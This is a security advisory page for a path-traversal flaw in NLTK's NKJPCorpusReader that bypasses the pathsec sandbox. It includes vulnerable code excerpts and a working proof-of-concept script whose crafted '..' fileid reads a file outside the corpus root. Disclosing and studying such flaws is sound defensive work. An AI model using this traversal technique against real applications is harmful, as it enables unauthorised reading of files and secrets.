Skip to content
OpenAdvisories
High · 7.5 CVE-2026-12072 GHSA-6hm5-jgcp-p838PYSEC-2026-3581

Natural Language Toolkit (NLTK): Path Traversal in NKJPCorpusReader leads to Arbitrary File Read and bypasses the nltk.pathsec sandbox (ENFORCE=True)

Published Jul 31, 2026 · Updated Sep 10, 2026 · Assigned by GHSA

Description

### Summary
A path-traversal vulnerability in `NKJPCorpusReader` allows an attacker who can
influence the `fileids` argument of its public read methods (`header`, `raw`,
`words`, `sents`, `tagged_words`) to read files outside the corpus root. The
reader builds the file path with no containment check and opens it with the
builtin `open()`, so it bypasses NLTK's `nltk.pathsec` sandbox — including the
strict `ENFORCE = True` mode that `SECURITY.md` recommends for web/multi-tenant
deployments. `header()` returns the parsed content of the out-of-root file to
the caller (arbitrary file read).

### Details
`SECURITY.md` promises that file access is "validated against allowed NLTK data
directories" and that with `nltk.pathsec.ENFORCE = True` "unauthorized file
access … will raise `PermissionError`." That guarantee is enforced via
`FileSystemPathPointer.open()` / `CorpusReader.open()`, which call
`nltk.pathsec.validate_path(...)`.

`NKJPCorpusReader` never uses that protected path. In
`nltk/corpus/reader/nkjp.py`:

- `add_root()` builds the path by **plain string concatenation** with no
normalization or containment check:
```python
def add_root(self, fileid): # lines 96-102
if self.root in fileid:
return fileid # attacker-controlled value returned unchanged
return self.root + fileid # plain concat, '..' not stripped
```
- The header view appends a fixed basename and passes the string straight into
the corpus view (which opens it with the builtin `open()`):
```python
class NKJPCorpus_Header_View(XMLCorpusView): # line 181
def __init__(self, filename, **kwargs):
XMLCorpusView.__init__(self, filename + "header.xml", self.tagspec) # line 189
```
- The other modes reach the filesystem through `XML_Tool`, which uses a raw
`os.path.join` (not the hardened `FileSystemPathPointer.join()`) and the
builtin `open()`:
```python
class XML_Tool: # line 243
def __init__(self, root, filename):
self.read_file = os.path.join(root, filename) # line 251
def build_preprocessed_file(self):
fr = open(self.read_file) # line 256 — pathsec never consulted
```

Because `open()` is the builtin (not `PathPointer.open()`), the `pathsec`
sentinel is never invoked, so `ENFORCE = True` does not block the access. For
comparison, the safe API `CorpusReader.open()` (`nltk/corpus/reader/api.py:222`)
rejects `..`/absolute fileids and calls `validate_path(..., required_root=...)`
before opening — `NKJPCorpusReader` simply does not go through it.

### PoC
Tested against `nltk==3.9.4` (latest PyPI release) and current `develop`.

```
pip install "nltk==3.9.4"
python3 poc.py
```

`poc.py`:
```python
import builtins, os, shutil, tempfile, warnings
warnings.simplefilter("ignore")
import nltk, nltk.pathsec as pathsec
from nltk.corpus.reader.nkjp import NKJPCorpusReader

print("nltk", nltk.__version__)

# A legitimate, empty NKJP corpus root (what a real app has).
root = tempfile.mkdtemp(prefix="nkjp_corpus_root_")
os.makedirs(os.path.join(root, "sample"), exist_ok=True)
open(os.path.join(root, "sample", "header.xml"), "w").write("<x/>")

# The attacker's target: a file OUTSIDE the corpus root.
secret_dir = tempfile.mkdtemp(prefix="OUTSIDE_ROOT_")
open(os.path.join(secret_dir, "header.xml"), "w").write(
"<teiHeader><fileDesc><sourceDesc><bibl>"
"<title>SECRET-API-KEY=sk-live-DEADBEEF</title>"
"</bibl></sourceDesc></fileDesc></teiHeader>")

# Enable the strict mode SECURITY.md recommends for web / multi-tenant.
pathsec.ENFORCE = True
print("ENFORCE =", pathsec.ENFORCE)

# Prove the out-of-root read and that pathsec is never consulted.
opened = []; real = builtins.open
builtins.open = lambda f, *a, **k: (opened.append(str(f)), real(f, *a, **k))[1]

reader = NKJPCorpusReader(root=root + "/", fileids="sample")
# Attacker-controlled `fileids`; '..' escapes the corpus root:
evil = root + "/../../../../../../.." + secret_dir + "/"
try:
result = reader.header(fileids=[evil])
finally:
builtins.open = real

print("opened outside root:", [p for p in opened if "OUTSIDE_ROOT_" in p][:1])
print("disclosed content :", result[0]["title"])
shutil.rmtree(root, ignore_errors=True); shutil.rmtree(secret_dir, ignore_errors=True)
```

Output (unmodified):
```
nltk 3.9.4
ENFORCE = True
opened outside root: ['/tmp/nkjp_corpus_root_XXXX/../../../../../../../tmp/OUTSIDE_ROOT_YYYY/header.xml']
disclosed content : SECRET-API-KEY=sk-live-DEADBEEF
```
With `ENFORCE = True`, NLTK opened a file outside the corpus root via the
builtin `open()` (no `PermissionError`, no warning) and returned its content.

### Impact
This is a path traversal (CWE-22) leading to arbitrary file read. Any
application that passes attacker-influenced values into `NKJPCorpusReader`'s
`fileids` (e.g. letting a user choose which corpus document to read) is
affected; the attacker can escape the corpus root and read files elsewhere on
the host, defeating the `ENFORCE=True` sandbox.

Honest scoping: `header()` discloses the content of out-of-root files named
`header.xml` containing NKJP header XML. `raw()`/`words()`/`sents()` also open
and read an arbitrary out-of-root file (proven by intercepting `open()`), but a
separate pre-existing bug in `XML_Tool` (writing `str` to a binary
`NamedTemporaryFile`) suppresses their return value on current Python, so for
those modes the impact is arbitrary file open/read. The attacker chooses the
directory freely; a fixed basename is appended per mode. The same
"build-path-then-builtin-open, skipping pathsec" anti-pattern also appears in
`xmldocs.py:161`, `util.py:212,215`, `crubadan.py:78,97`, `lin.py:43`,
`ipipan.py:191`, `pl196x.py:110` and is worth fixing as a class.

Fixed in Linux distributions

Distributions backport fixes, so the version that fixes this vulnerability differs per release — upgrade to at least the version shown. From the distributions' security trackers and advisories.

ReleasePackageFixed inAdvisory
Debian 14 nltk 3.10.0-1 —
Debian 13 nltk No fix yet —
Debian 12 nltk No fix yet —
ReleasePackageFixed inAdvisory
Ubuntu 26.10 nltk No fix yet —
Show 7 more (older releases, extended support, other products)
ReleasePackageFixed inAdvisory
Ubuntu Pro 26.04 LTS nltk No fix yet —
Ubuntu Pro 24.04 LTS nltk No fix yet —
Ubuntu Pro 22.04 LTS nltk No fix yet —
Ubuntu Pro 20.04 LTS nltk No fix yet —
Ubuntu Pro 18.04 LTS nltk No fix yet —
Ubuntu Pro 16.04 LTS nltk No fix yet —
Ubuntu Pro 14.04 LTS nltk No fix yet —
ReleasePackageFixed inAdvisory
openSUSE Tumbleweed python-nltk 3.10.1-1.1 openSUSE-SU-2026:11469-1

Wolfi

ReleasePackageFixed inAdvisory
Wolfi rolling open-webui 0.11.0-r7 —

Affected packages

EcosystemPackageAffectedFixedRecord
PyPI nltk < 3.10.0 3.10.0 GHSA-6hm5-jgcp-p838

Advisories 1

References